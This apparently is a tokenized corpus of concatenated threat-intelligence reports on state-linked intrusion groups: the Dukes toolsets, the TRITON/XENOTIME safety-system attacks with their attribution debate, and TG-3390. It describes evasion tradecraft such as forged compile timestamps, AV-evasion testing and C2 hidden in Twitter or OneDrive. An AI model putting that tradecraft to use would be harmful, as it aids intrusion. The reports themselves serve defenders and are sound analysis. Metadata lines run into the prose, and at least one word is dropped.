In 2013 , many of the decoy documents employed by the Dukes in their campaigns were related to Ukraine ; examples include a letter undersigned by the First Deputy Minister for Foreign Affairs of Ukraine , a letter from the embassy of the Netherlands in Ukraine to the Ukrainian Ministry of Foreign affairs and a document titled “ Ukraine ’s Search for a Regional Foreign Policy ” .
These decoy documents however were written before the start of the November 2013 Euromaidan protests in Ukraine and the subsequent upheaval .
It is therefore important to note that , contrary to what might be assumed , we have actually observed a drop instead of an increase in Ukraine related campaigns from the Dukes following the country ’s political crisis .
This is in stark contrast to some other suspected Russian threat actors ( such as Operation Pawn Storm ) who appear to have increased their targeting of Ukraine following the crisis .
This supports our analysis that the overarching theme in the Dukes ’ targeting is the collection of intelligence to support diplomatic efforts .
The Dukes actively targeted Ukraine before the crisis , at a time when Russia was still weighing her options , but once Russia moved from diplomacy to direct action , Ukraine was no longer relevant to the Dukes in the same way .
In a surprising turn of events , in September 2013 a CosmicDuke campaign was observed targeting Russian speakers involved in the trade of illegal and controlled substances .
Kaspersky Labs , who sometimes refer to CosmicDuke as ‘ Bot Gen Studio ’ , speculated that “ one possibility is that ‘ Bot Gen Studio ’ is a malware platform also available as a so-called ‘ legal spyware ’ tool ” ;therefore , those using CosmicDuke to target drug dealers and those targeting governments are two separate entities .
We however feel it is unlikely that the CosmicDuke operators targeting drug dealers and those targeting governments could be two entirely independent entities .
A shared supplier of malware would explain the overlap in tools , but it would not explain the significant overlap we have also observed in operational techniques related to command and control infrastructure .
Instead , we feel the targeting of drug dealers was a new task for a subset of the Dukes group , possibly due to the drug trade ’s relevance to security policy issues .
We also believe the tasking to have been temporary , because we have not observed any further similar targeting from the Dukes after the spring of 2014 .
While MiniDuke activity decreased significantly during the rest of 2013 following the attention it garnered from researchers , the beginning of 2014 saw the toolset back in full force .
All MiniDuke components , from the loader and downloader to the backdoor , had been slightly updated and modified during the downtime .
Interestingly , the nature of these modifications suggests that their primary purpose was to regain the element of stealth and undetectability that had been lost almost a year earlier .
Of these modifications , arguably the most important were the ones done to the loader .
These resulted in a loader version that would later become known as the “ Nemesis Gemina loader ” due to PDB strings found in many of the samples .
It is however still only an iteration on earlier versions of the MiniDuke loader .
The first observed samples of the Nemesis Gemina loader ( compiled on 14th December 2013 ) were used to load the updated MiniDuke backdoor , but by the spring of 2014 the Nemesis Gemina loader was also observed in use with CosmicDuke .
Following the MiniDuke expose , CosmicDuke in turn got its moment of fame when F-Secure published a whitepaper about it on 2nd July 2014 .
The next day , Kaspersky also published their own research on the malware .
It should be noted that until this point , even though CosmicDuke had been in active use for over 4 years , and had undergone minor modifications and updates during that time , even the most recent CosmicDuke samples would often embed persistence components that date back to 2012 .
These samples would also contain artefacts of functionality from the earliest CosmicDuke samples from 2010 .
It is therefore valuable to observe how the Dukes reacted to CosmicDuke ’s outing at the beginning of July .
By the end of that month , CosmicDuke samples we found that had been compiled on the 30th of July had shed unused parts of their code that had essentially just been relics of the past .
Similarly , some of the hardcoded values that had remained unaltered in CosmicDuke samples for many years had been changed .
We believe these edits were an attempt at evading detection by modifying or removing parts of the toolset that the authors believed might be helpful in identifying and detecting it .
Concurrently with the alterations to CosmicDuke , the Dukes were also hard at work modifying their trusted loader .
Much like the CosmicDuke toolset , the loader used by both MiniDuke and CosmicDuke had previously only undergone one major update ( the Nemesis Gemina upgrade ) since the first known samples from 2010 .
Again , much of the modification work focused on removing redundant code in an attempt to appear different from earlier versions of the loader .
Interestingly however , another apparent evasion trick was also attempted - forging of the loaders ’ compilation timestamps .
The first CosmicDuke sample we observed after the initial research on CosmicDuke was a sample compiled on the 30th of July 2014 .
The loader used by the sample purported to have been compiled on the 25th of March 2010 .
Due to artefacts left in the loader during compilation time however , we know that it used a specific version of the Boost library , 1.54.0 , that was only published on the 1st of July 2013 .
The compilation timestamp therefore had to have been faked .
F-Secure ’s whitepaper on CosmicDuke includes a timeline of the loader ’s usage , based on compilation timestamps .
Perhaps the Dukes group thought that by faking a timestamp from before the earliest one cited in the whitepaper , they might be able to confuse researchers .
During the rest of 2014 and the spring of 2015 , the Dukes continued making similar evasionfocused modifications to CosmicDuke , as well as experimenting with ways to obfuscate the loader .
In the latter case however , the group appear to have also simultaneously developed an entirely new loader , which we first observed being used in conjunction with CosmicDuke during the spring of 2015 .
While it is not surprising that the Dukes reacted to multiple companies publishing extensive reports on one of their key toolsets , it is valuable to note the manner in which they responded .
Much like the MiniDuke expose in February 2013 , the Dukes again appeared to prioritize continuing operations over staying hidden .
They could have ceased all use of CosmicDuke ( at least until they had developed a new loader ) or retired it entirely , since they still had other toolsets available .
Instead , they opted for minimal downtime and attempted to continue operations , with only minor modifications to the toolset .
While we now know that CozyDuke had been under development since at least the end of 2011 , it was not until the early days of July 2014 that the first large-scale CozyDuke campaign that we are aware of took place .
This campaign , like later CozyDuke campaigns , began with spear-phishing emails that tried to impersonate commonly seen spam emails .
These spear-phishing emails would contain links that eventually lead the victim to becoming infected with CozyDuke .
Some of the CozyDuke spear-phishing emails from early July posed as e-fax arrival notifications , a popular theme for spam emails , and used the same “ US letter fax test page ” decoy document that was used a year later by CloudDuke .
In at least one case however , the email instead contained a link to a zip archive file named “ Office Monkeys LOL Video.zip ” , which was hosted on the DropBox cloud storage service .
What made this particular case interesting was that instead of the usual dull PDF file , the decoy was a Flash video file , more specifically a Super Bowl advertisement from 2007 purporting to show monkeys at an office .
THE DUKES 7 YEARS OF RUSSIAN CYBERESPIONAGE .
Release_Time : 2015-09Report_URL : https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf2014 : OnionDuke gets caught using a malicious Tor node .
On the 23rd of October 2014 , Leviathan Security Group published a blog post describing a malicious Tor exit node they had found .
They noted that this node appeared to be maliciously modifying any executables that were downloaded through it over a HTTP connection .
Executing the modified applications obtained this way would result in the victim being infected with unidentified malware .
On the 14th of November , F-Secure published a blog post naming the malware OnionDuke and associating it with MiniDuke and CosmicDuke , the other Duke toolsets known at the time .
Based on our investigations into OnionDuke , we believe that for about 7 months , from April 2014 to when Leviathan published their blog post in October 2014 , the Tor exit node identified by the researchers was being used to wrap executables on-the-fly with OnionDuke ( image 7 , page 13 ) .
This is similar to the way in which the toolset was being spread via trojanized applications in torrent files during the summer of 2013 .
While investigating the OnionDuke variant being spread by the malicious Tor node , we also identified another OnionDuke variant that appeared to have successfully compromised multiple victims in the ministry of foreign affairs of an Eastern European country during the spring of 2014 .
This variant differed significantly in functionality from the one being spread via the Tor node , further suggesting that different OnionDuke variants are intended for different kinds of victims .
We believe that , unusually , the purpose of the OnionDuke variant spread via the Tor node was not to pursue targeted attacks but instead to form a small botnet for later use .
This OnionDuke variant is related to the one seen during the summer of 2013 being spread via torrent files .
Both of these infection vectors are highly indiscriminate and untargeted when compared to spearphishing , the usual infection vector of choice for the Dukes .
Further , the functionality of the OnionDuke variant is derived from a number of modules .
While one of these modules gathers system information and another attempts to steal the victim ’s usernames and passwords , as one would expect from a malware used for a targeted attack , the other two known OnionDuke modules are quite the opposite ; one is designed for use inattacks and the other for posting predetermined messages to the Russian VKontakte social media site .
This sort of functionality is more common in criminality-oriented botnets , not statesponsored targeted attacks .
We have since been able to identify at least two separate OnionDuke botnets .
We believe the formation of the first of these botnets began in January 2014 , using both unidentified infection vectors and the known malicious Tor node , and continued until our blogpost was published in November .
We believe the formation of the second botnet began in August 2014 and continued until January 2015 .
We have been unable to identify the infection vectors used for this second botnet , but the C&C servers it used had open directory listings , allowing us to retrieve files containing listings of victim IP addresses .
The geographic distribution of these IP addresses ( image 8 , page 13 ) further supports our theory that the purpose of this OnionDuke variant was not targeted attacks against high-profile targets .
One theory is that the botnets were a criminal side business for the Dukes group .
The size of the botnet however ( about 1400 bots ) is very small if its intended use is for commercial DoS attacks or spam-sending .
Alternatively , OnionDuke also steals user credentials from its victims , providing another potential revenue source .
The counter to that argument however is that the value of stolen credentials from users in the countries with the highest percentage of OnionDuke bots ( Mongolia and India ) are among the lowest on underground markets .
 2015 : The Dukes up the ante .
The end of January 2015 saw the start of the most high- volume Duke campaign seen thus far , with thousands of recipients being sent spear-phishing emails that contained links to compromised websites hosting CozyDuke .
Curiously , the spear-phishing emails were strikingly similar to the e-fax themed spam usually seen spreading ransomware and other common crimeware .
Due to the sheer number of recipients , it may not have been possible to customize the emails in the same way as was possible with lower-volume campaigns .
The similarity to common spam may however also serve a more devious purpose .
It is easy to imagine a security analyst , burdened by the amount of attacks against their network , dismissing such common-looking spam as “ just another crimeware spam run ” , allowing the campaign to , in essence , hide in the masses .
The CozyDuke activity continues one of the long-running trends of the Dukes operations , the use of multiple malware toolsets against a single target .
In this case , the Dukes first attempted to infect large numbers of potential targets with CozyDuke ( and in a more obvious manner than previously seen ) .
They would then use the toolset to gather initial information on the victims , before deciding which ones to pursue further .
For the victims deemed interesting enough , the Dukes would then deploy a different toolset .
We believe the primary purpose of this tactic is an attempt at evading detection in the targeted network .
Even if the noisy initial CozyDuke campaign is noticed by the victim organization , or by someone else who then makes it publicly known , defenders will begin by first looking for indicators of compromise ( IOCs ) related to the CozyDuke toolset .
If however by that time the Dukes are already operating within the victim ’s network , using an another toolset with different IOCs , then it is reasonable to assume that it will take much longer for the victim organization to notice the infiltration .
In previous cases , the group used their malware toolsets interchangeably , as either the initial or a later-stage toolset in a campaign .
For these CozyDuke campaigns however , the Dukes appear to have employed two particular later-stage toolsets , SeaDuke and HammerDuke , that were purposely designed to leave a persistent backdoor on the compromised network .
HammerDuke is a set of backdoors that was first seen in the wild in February 2015 , while SeaDuke is a crossplatform backdoor that was , according to Symantec , first spotted in the wild in October 2014 .
Both toolsets were originally spotted being deployed by CozyDuke to its victims .
What makes SeaDuke special is that it was written in Python and designed to work on both Windows and Linux systems ; it is the first cross-platform tool we have seen from the Dukes .
One plausible reason for developing such a flexible malware might be that the group were increasingly encountering victim environments where users were using Linux as their desktop operating system .
Meanwhile , HammerDuke is a Windows only malware ( written in .NET ) and comes in two variants .
The simpler one will connect to a hardcoded C&C server over HTTP or HTTPS to download commands to execute .
The more advanced variant , on the other hand , will use an algorithm to generate a periodically-changing Twitter account name and will then attempt to find tweets from that account containing links to the actual download location of the commands to execute .
In this way , the advanced HammerDuke variant attempts to hide its network traffic in more legitimate use of Twitter .
This method is not unique to HammerDuke , as MiniDuke , OnionDuke , and CozyDuke all support similar use of Twitter ( image 9 , page 18 ) to retrieve links to additional payloads or commands .
 2015 : CloudDuke .
In the beginning of July 2015 , the Dukes embarked on yet another large-scale phishing campaign .
The malware toolset used for this campaign was the previously unseen CloudDuke and we believe that the July campaign marks the first time that this toolset was deployed by the Dukes , other than possible small-scale testing .
The CloudDuke toolset consists of at least a loader , a downloader , and two backdoor variants .
Both backdoors ( internally referred to by their authors as “ BastionSolution ” and “ OneDriveSolution ” ) essentially allow the operator to remotely execute commands on the compromised machine .
The way in which each backdoor does so however is significantly different .
While the BastionSolution variant simply retrieves commands from a hard-coded C&C server controlled by the Dukes , the OneDriveSolution utilizes Microsoft ’s OneDrive cloud storage service for communicating with its masters , making it significantly harder for defenders to notice the traffic and block the communication channel .
What is most significant about the July 2015 CloudDuke campaign is the timeline .
The campaign appeared to consist of two distinct waves of spear-phishing , one during the first days of July and the other starting from the 20th of the month .
Details of the first wave , including a thorough technical analysis of CloudDuke , was published by Palo Alto Networks on 14th July .
This was followed by additional details from Kaspersky in a blog post published on 16th July .
Both publications happened before the second wave took place and received notable publicity .
Despite the attention and public exposure of the toolset ’s technical details ( including IOCs ) to defenders , the Dukes still continued with their second wave of spear-phishing , including the continued use of CloudDuke .
The group did change the contents of the spear-phishing emails they sent , but they didn’t switch to a new email format ; instead , they reverted to the same efaxthemed format that they had previously employed , even to the point of reusing the exact same decoy document that they had used in the CozyDuke campaign a year earlier ( July 2014 ) .
This once more highlights two crucial behavioral elements of the Dukes group .
Firstly , as with the MiniDuke campaigns of February 2013 and CosmicDuke campaigns in the summer of 2014 , again the group clearly prioritized the continuation of their operations over maintaining stealth .
Secondly , it underlines their boldness , arrogance and self-confidence ; they are clearly confident in both their ability to compromise their targets even when their tools and techniques are already publicly known , and critically , they appear to be extremely confident in their ability to act with impunity .
 2015 : Continuing surgical strikes with CosmicDuke .
In addition to the notably overt and large-scale campaigns with CozyDuke and CloudDuke , the Dukes also continued to engage in more covert , surgical campaigns using CosmicDuke .
The latest of these campaigns that we are aware of occurred during the spring and early summer of 2015 .
As their infection vectors , these campaigns used malicious documents exploiting recently fixed vulnerabilities .
Two of these campaigns were detailed in separate blog posts by the Polish security company Prevenity , who said that both campaigns targeted Polish entities with spear- phishing emails containing malicious attachments with relevant Polish language names .
A third , similar , CosmicDuke campaign was observed presumably targeting Georgian entities since it used an attachment with a Georgian-language name that translates to “ NATO consolidates control of the Black Sea.docx ” .
Based on this , we do not believe that the Dukes are replacing their covert and targeted campaigns with the overt and opportunistic CozyDuke and CloudDuke style of campaigns .
Instead , we believe that they are simply expanding their activities by adding new tools and techniques .
A XENOTIME to Remember : Veles in the Wild .
FireEye recently published a blog covering the tactics , techniques , and procedures ( TTPs ) for the “ TRITON actor ” when preparing to deploy the TRITON / TRISIS malware framework in 2017 .
Overall , the post does a commendable job in making public findings previously only privately shared ( presumably by FireEye , and in several reports I authored for my employer , Dragos ) to threat intelligence customers .
As such , the blog continues to push forward the narrative of how ICS attacks are enabled through prepositioning and initial intrusion operations – an item I have discussed at length .
Yet one point of confusion in the blog comes at the very start : referring to the entity responsible for TRITON as the “ TRITON actor ” .
This seems confusing as FireEye earlier publicly declared the “ TRITON actor ” as a discrete entity , linked to a Russian research institution , and christened it as “ TEMP.Veles ” .
In the 2018 public posting announcing TEMP.Veles , FireEye researchers noted that the institute in question at least supported TEMP.Veles activity in deploying TRITON , with subsequent public presentations at Cyberwarcon and the Kaspersky Lab sponsored Security Analyst Summit essentially linking TRITON and the research institute ( and therefore TEMP.Veles ) as one in the same .
Yet the most-recent posting covering TTPs from initial access through prerequisites to enable final delivery of effects on target ( deploying TRITON / TRISIS ) avoids the use of the TEMP.Veles term entirely .
In subsequent discussion , FireEye personnel indicate that there was not “ an avalanche of evidence to substantiate ” anything more than “ TRITON actor ” – summing matters by indicating this term “ is the best we ’ve got for the public for now ” .
Meanwhile , parallel work at Dragos ( my employer , where I have performed significant work on the activity described above ) uncovered similar conclusions concerning TTPs and behaviors , for both the 2017 event and subsequent activity in other industrial sectors .
Utilizing Diamond Model methodology for characterizing activity by behaviors attached to victims , we began tracking TRITON / TRISIS and immediate enabling activity as a distinct activity group ( collection of behaviors , infrastructure , and victimology ) designated XENOTIME .
Based on information gained from discussion with the initial TRITON / TRISIS responders and subsequent work on follow-on activity by this entity , Dragos developed a comprehensive ( public ) picture of adversary activity roughly matching FireEye ’s analysis published in April 2019 , described in various media .
At this stage , we have two similar , parallel constructions of events – the how behind the immediate deployment and execution of TRITON / TRISIS – yet dramatically different responses in terms of attribution and labeling .
Since late 2018 , based upon the most-recent posting , FireEye appears to have “ walked back ” the previously-used terminology of TEMP.Veles and instead refers rather cryptically to the “ TRITON actor ” , while Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Given that both organizations appear to describe similar ( if not identical ) activity , any reasonable person could ( and should ) ask – why the inconsistency in naming and identification .
Aside from the competitive vendor naming landscape ( which I am not a fan of in cases on direct overlap , but which has more to say for itself when different methodologies are employed around similar observations ) , the distinction between FireEye and Dragos ’ approaches with respect to the “ TRITON actor ” comes down to fundamental philosophical differences in methodology .
As wonderfully described in a recent public posting , FireEye adheres to a naming convention based upon extensive data collection and activity comparison , designed to yield the identification of a discrete , identifiable entity responsible for a given collection of activity .
This technique is precise and praiseworthy – yet at the same time , appears so rigorous as to impose limitations on the ability to dynamically adjust and adapt to emerging adversary activity .
 ( Or for that matter , even categorize otherwise well-known historical actors operating to the present day , such as Turla .
 ) FireEye ’s methodology may have particular limitations in instances where adversaries ( such as XENOTIME and presumably TEMP.Veles ) rely upon extensive use of publicly-available , commonly-used tools with limited amounts of customization .
In such cases , utilizing purely technical approaches for differentiation ( an issue I lightly touched on in a recent post ) becomes problematic , especially when trying to define attribution to specific , “ who-based ” entities ( such as a Russian research institute ) .
My understanding is FireEye labels entities where definitive attribution is not yet possible with the “ TEMP ” moniker ( hence , TEMP.Veles ) – yet in this case FireEye developed and deployed the label , then appeared to move away from it in subsequent reporting .
Based on the public blog post – which also indicated that FireEye is responding to an intrusion at a second facility featuring the same or similar observations – this is presumably not for lack of evidence , yet the “ downgrade ” occurs all the same .
In comparison , XENOTIME was defined based on principles of infrastructure ( compromised third-party infrastructure and various networks associated with several Russian research institutions ) , capabilities ( publicly- and commercially-available tools with varying levels of customization ) and targeting ( an issue not meant for discussion in this blog ) .
In personally responding to several incidents across multiple industry sectors since early 2018 matching TTPs from the TRITON / TRISIS event , these items proved consistent and supported the creation of the XENOTIME activity group .
This naming decision was founded upon the underlying methodology described in the Diamond Model of intrusion analysis .
As such , this decision does not necessarily refer to a specific institution , but rather a collection of observations and behaviors observed across multiple , similarly-situated victims .
Of note , this methodology of naming abstracts away the “ who ” element – XENOTIME may represent a single discrete entity ( such as a Russian research institution ) or several entities working in coordination in a roughly repeatable , similar manner across multiple events .
Ultimately , the epistemic foundation of the behavior-based naming approach makes this irrelevant for tracking ( and labeling for convenience sake ) observations .
Much like the observers watching the shadows of objects cast upon the wall of the cave , these two definitions ( XENOTIME and TEMP.Veles , both presumably referring to “ the TRITON actor ” ) describe the same phenomena , yet at the same time appear different .
This question of perception and accuracy rests upon the underlying epistemic framework and the goal conceived for that framework in defining an adversary : FireEye ’s methodology follows a deductive approach requiring the collection of significant evidence over time to yield a conclusion that will be necessary given the premises ( the totality of evidence suggests APTxx ) ; the Dragos approach instead seeks an inductive approach , where premises may all be true but the conclusion need not necessarily follow from them given changes in premises over time or other observations not contained within the set ( thus , identified behaviors strongly suggests an activity group , defined as X ) .
From an external analysts ’ point of view , the wonder is , which is superior to the other .
And my answer for this is : neither is perfect , but both are useful – depending upon your goals and objectives .
But rather than trying to pursue some comparison between the two for identification of superiority ( an approach that will result in unproductive argument and social media warring ) , the point of this post is to highlight the distinctions between these approaches and how – in the case of “ the TRITON actor ” – they result in noticeably different conclusions from similar datasets .
One reason for the distinction may be differences in evidence , as FireEye ’s public reporting notes two distinct events of which they are aware of and have responded to related to “ the TRITON actor ” while Dragos has been engaged several instances – thus , Dragos would possess more evidence to cement the definition of an activity group , while FireEye ’s data collection-centric approach would require far more observations to yield an “ APT ” .
Yet irrespective of this , it is confusing why the previously-declared “ TEMP ” category was walked back as this has led to not small amount of confusion – in both technical and non-technical audiences – as to just what FireEye ’s blog post refers .
Thus respected journalists ( at least by me ) conflate the “ TRITON actor is active at another site ” with “ TRITON malware was identified at another site ” .
In this case , we ’re seeing a definite problem with the overly-conservative naming approach used as it engenders confusion in a significant subset of the intended audience .
While some may dismiss adversary or activity naming as so much marketing , having a distinct label for something allows for clearer communication and more accurate discussion .
Furthermore , conflating adversaries with tools , since tools can be repurposed or used by other entities than those first observed deploying them , leads to further potential confusion as the “ X actor ” is quickly compressed in the minds of some to refer to any and all instantiations of tool “ X ” .
Overall , the discussion above may appear so much splitting of hairs or determining how many angels can dance on the head of a pin – yet given the communicative impacts behind different naming and labeling conventions , this exploration seems not merely useful but necessary .
Understanding the “ how ” and “ why ” behind different entity classifications of similar ( or even the same ) activity allows us to move beyond the dismissive approach of “ everyone has their names for marketing purposes ” to a more productive mindset that grasps the fundamental methodologies that ( should ) drive these decisions .
TRITON Attribution : Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers .
In a previous blog post we detailed the TRITON intrusion that impacted industrial control systems ( ICS ) at a critical infrastructure facility .
We now track this activity set as TEMP.Veles .
In this blog post we provide additional information linking TEMP.Veles and their activity surrounding the TRITON intrusion to a Russian government-owned research institute .
FireEye Intelligence assesses with high confidence that intrusion activity that led to deployment of TRITON was supported by the Central Scientific Research Institute of Chemistry and Mechanics ( CNIIHM ; a.k.a. ЦНИИХМ ) , a Russian government-owned technical research institution located in Moscow .
The following factors supporting this assessment are further detailed in this post .
We present as much public information as possible to support this assessment , but withheld sensitive information that further contributes to our high confidence assessment .
FireEye uncovered malware development activity that is very likely supporting TEMP.Veles activity .
This includes testing multiple versions of malicious software , some of which were used by TEMP.Veles during the TRITON intrusion .
Investigation of this testing activity reveals multiple independent ties to Russia , CNIIHM , and a specific person in Moscow .
This person ’s online activity shows significant links to CNIIHM .
An IP address registered to CNIIHM has been employed by TEMP.Veles for multiple purposes , including monitoring open-source coverage of TRITON , network reconnaissance , and malicious activity in support of the TRITON intrusion .
Behavior patterns observed in TEMP.Veles activity are consistent with the Moscow time zone , where CNIIHM is located .
We judge that CNIIHM likely possesses the necessary institutional knowledge and personnel to assist in the orchestration and development of TRITON and TEMP.Veles operations .
While we cannot rule out the possibility that one or more CNIIHM employees could have conducted TEMP.Veles activity without their employer ’s approval , the details shared in this post demonstrate that this explanation is less plausible than TEMP.Veles operating with the support of the institute .
During our investigation of TEMP.Veles activity , we found multiple unique tools that the group deployed in the target environment .
Some of these same tools , identified by hash , were evaluated in a malware testing environment by a single user .
Malware Testing Environment Tied to TEMP.Veles .
We identified a malware testing environment that we assess with high confidence was used to refine some TEMP.Veles tools .
At times , the use of this malware testing environment correlates to in-network activities of TEMP.Veles , demonstrating direct operational support for intrusion activity .
Four files tested in 2014 are based on the open-source project , cryptcat .
Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates .
One of these files was deployed in a TEMP.Veles target ’s network .
The compiled version with the least detections was later re-tested in 2017 and deployed less than a week later during TEMP.Veles activities in the target environment .
TEMP.Veles ’ lateral movement activities used a publicly-available PowerShell based tool , WMImplant .
On multiple dates in 2017 , TEMP.Veles struggled to execute this utility on multiple victim systems , potentially due to AV detection .
Soon after , the customized utility was again evaluated in the malware testing environment .
The following day , TEMP.Veles again tried the utility on a compromised system .
The user has been active in the malware testing environment since at least 2013 , testing customized versions of multiple open-source frameworks , including Metasploit , Cobalt Strike , PowerSploit , and other projects .
The user ’s development patterns appear to pay particular attention to AV evasion and alternative code execution techniques .
Custom payloads utilized by TEMP.Veles in investigations conducted by Mandiant are typically weaponized versions of legitimate open-source software , retrofitted with code used for command and control .
Testing , Malware Artifacts , and Malicious Activity Suggests Tie to CNIIHM .
Multiple factors suggest that this activity is Russian in origin and associated with CNIIHM .
A PDB path contained in a tested file contained a string that appears to be a unique handle or user name .
This moniker is linked to a Russia based person active in Russian information security communities since at least 2011 .
The handle has been credited with vulnerability research contributions to the Russian version of Hacker Magazine ( хакер ) .
According to a now-defunct social media profile , the same individual was a professor at CNIIHM , which is located near Nagatinskaya Street in the Nagatino-Sadovniki district of Moscow .
Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile .
Suspected TEMP.Veles incidents include malicious activity originating from 87.245.143.140 , which is registered to CNIIHM .
This IP address has been used to monitor open-source coverage of TRITON , heightening the probability of an interest by unknown subjects , originating from this network , in TEMP.Veles related activities .
It also has engaged in network reconnaissance against targets of interest to TEMP.Veles .
The IP address has been tied to additional malicious activity in support of the TRITON intrusion .
Multiple files have Cyrillic names and artifacts .
Adversary behavioral artifacts further suggest the TEMP.Veles operators are based in Moscow , lending some further support to the scenario that CNIIHM , a Russian research organization in Moscow , has been involved in TEMP.Veles activity .
We identified file creation times for numerous files that TEMP.Veles created during lateral movement on a target ’s network .
These file creation times conform to a work schedule typical of an actor operating within a UTC+3 time zone supporting a proximity to Moscow .
Additional language artifacts recovered from TEMP.Veles toolsets are also consistent with such a regional nexus .
A ZIP archive recovered during our investigations , schtasks.zip , contained an installer and uninstaller of CATRUNNER that includes two versions of an XML scheduled task definitions for a masquerading service ‘ ProgramDataUpdater .
 ’ The malicious installation version has a task name and description in English , and the clean uninstall version has a task name and description in Cyrillic .
The timeline of modification dates within the ZIP also suggest the actor changed the Russian version to English in sequential order , heightening the possibility of a deliberate effort to mask its origins .
While we know that TEMP.Veles deployed the TRITON attack framework , we do not have specific evidence to prove that CNIIHM did ( or did not ) develop the tool .
We infer that CNIIHM likely maintains the institutional expertise needed to develop and prototype TRITON based on the institute ’s self-described mission and other public information .
CNIIHM has at least two research divisions that are experienced in critical infrastructure , enterprise safety , and the development of weapons/military equipment :The Center for Applied Research creates means and methods for protecting critical infrastructure from destructive information and technological impacts .
The Center for Experimental Mechanical Engineering develops weapons as well as military and special equipment .
It also researches methods for enabling enterprise safety in emergency situations .
CNIIHM officially collaborates with other national technology and development organizations , including :The Moscow Institute of Physics and Technology ( PsyTech ) , which specializes in applied physics , computing science , chemistry , and biology .
The Association of State Scientific Centers “ Nauka , ” which coordinates 43 Scientific Centers of the Russian Federation ( SSC RF ) .
Some of its main areas of interest include nuclear physics , computer science and instrumentation , robotics and engineering , and electrical engineering , among others .
The Federal Service for Technical and Export Control ( FTEC ) which is responsible for export control , intellectual property , and protecting confidential information .
The Russian Academy of Missile and Artillery Sciences ( PAPAH ) which specializes in research and development for strengthening Russia ’s defense industrial complex .
Information from a Russian recruitment website , linked to CNIIHM ’s official domain , indicates that CNIIHM is also dedicated to the development of intelligent systems for computer-aided design and control , and the creation of new information technologies .
Some possibility remains that one or more CNIIHM employees could have conducted the activity linking TEMP.Veles to CNIIHM without their employer ’s approval .
However , this scenario is highly unlikely .
In this scenario , one or more persons – likely including at least one CNIIHM employee , based on the moniker discussed above – would have had to conduct extensive , high-risk malware development and intrusion activity from CNIIHM ’s address space without CNIIHM ’s knowledge and approval over multiple years .
CNIIHM ’s characteristics are consistent with what we might expect of an organization responsible for TEMP.Veles activity .
TRITON is a highly specialized framework whose development would be within the capability of a low percentage of intrusion operators .
Release_Time : unknownReport_URL : https://dragos.com/resource/xenotime/XENOTIME is easily the most dangerous threat activity publicly known .
It is the only activity group intentionally compromising and disrupting industrial safety instrumented systems , which can lead to scenarios involving loss of life and environmental damage .
Dragos identified several compromises of ICS vendors and manufacturers in 2018 by activity associated with XENOTIME , providing potential supply chain threat opportunities and vendor-enabled access to asset owner and operator ICS networks .
XENOTIME rose to prominence in December 2017 when Dragos and FireEye jointly published details of TRISIS destructive malware targeting Schneider Electric ’s Triconex safety instrumented system .
The multi-step malware framework caused industrial systems in a Middle Eastern industrial facility to shut down .
The incident represented a shift in the capabilities and consequences of ICS malware .
TRISIS was an escalation of the type of attacks historically targeting ICS systems .
Targeting a safety system indicates significant damage and loss of human life were either intentional or acceptable goals of the attack , a consequence not seen in previous disruptive attacks such as the 2016 CRASHOVERRIDE malware that caused a power loss in Ukraine .
Note : Industrial safety instrumented systems comprise part of a multi-layer engineered process control framework to protect life and environment .
Industrial safety systems are highly redundant and separate controls which override and manage industrial processes if they approach unsafe conditions such as over-pressurization , overspeed , or over-heating .
They enable engineers and operators to safely control and possibly shutdown processes before a major incident occurs .
They ’re a critical component of many dangerous industrial environments such as electric power generation and oil and gas processing .
XENOTIME configured TRISIS based on the specifics and functions of the Triconex system within the industrial control ( ICS ) environment .
XENOTIME used credential capture and replay to move between networks , Windows commands , standard command-line tools such as PSExec , and proprietary tools for operations on victim hosts .
 ( Full reports detailing XENOTIME ’s tool techniques , and procedures are available to Dragos WorldView customers .
 ) Because the TRISIS malware framework was highly tailored , it would have required specific knowledge of the Triconex ’s infrastructure and processes within a specific plant .
This means it ’s not easy to scale—however , the malware provides a blueprint of how to target safety instrumented systems .
This tradecraft is thus scalable and available to others even if the malware itself changes .
Dragos ’ data indicates XENOTIME remains active .
Furthermore , Dragos ’ analysis of the TRISIS event continues as we recover additional data surrounding the incident .
Dragos assesses with moderate confidence that XENOTIME intends to establish required access and capability to cause a potential , future disruptive—or even destructive—event .
Compromising safety systems provides little value outside of disrupting operations .
The group created a custom malware framework and tailormade credential gathering tools , but an apparent misconfiguration prevented the attack from executing properly .
As XENOTIME matures , it is less likely that the group will make this mistake in the future .
XENOTIME operates globally , impacting regions far outside of the Middle East , their initial target .
Intelligence suggests the group has been active since at least 2014 and is presently operating in multiple facilities targeting safety systems beyond Triconex .
This group has no known associations to other activity groups .
Dragos threat intelligence leverages the Dragos Platform , our threat operations center , and other sources to provide comprehensive insight into threats affecting industrial control security and safety worldwide .
Dragos does not corroborate nor conduct political attribution to threat activity .
Dragos instead focuses on threat behaviors and appropriate detection and response .
Read more about Dragos ’ approach to categorizing threat activity and attribution .
Dragos does not publicly describe ICS activity group technical details except in extraordinary circumstances in order to limit tradecraft proliferation .
However , full details on XENOTIME and other group tools , techniques , procedures , and infrastructure is available to network defenders via Dragos WorldView .
Threat Group 3390 Cyberespionage .
Dell SecureWorks Counter Threat Unit (TM ) ( CTU ) researchers investigated activities associated with Threat Group-3390 ( TG-3390 ) .
Analysis of TG-3390 's operations , targeting , and tools led CTU researchers to assess with moderate confidence the group is located in the People's Republic of China .
The threat actors target a wide range of organizations : CTU researchers have observed TG-3390 actors obtaining confidential data on defense manufacturing projects , but also targeting other industry verticals and attacking organizations involved in international relations .
The group extensively uses long-running strategic web compromises ( SWCs ) , and relies on whitelists to deliver payloads to select victims .
In comparison to other threat groups , TG-3390 is notable for its tendency to compromise Microsoft Exchange servers using a custom backdoor and credential logger .
CTU researchers divided the threat intelligence about TG-3390 into two sections : strategic and tactical .
Strategic threat intelligence includes an assessment of the ongoing threat posed by the threat group .
Executives can use this assessment to determine how to reduce risk to their organization's mission and critical assets .
Tactical threat intelligence is based on incident response investigations and research , and is mapped to the kill chain .
Computer network defenders can use this information to reduce the time and effort associated with responding to TG-3390 .
CTU researchers assess with moderate confidence that TG-3390 is based in the People's Republic of China .
CTU researchers have evidence that the threat group compromised U.S. and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
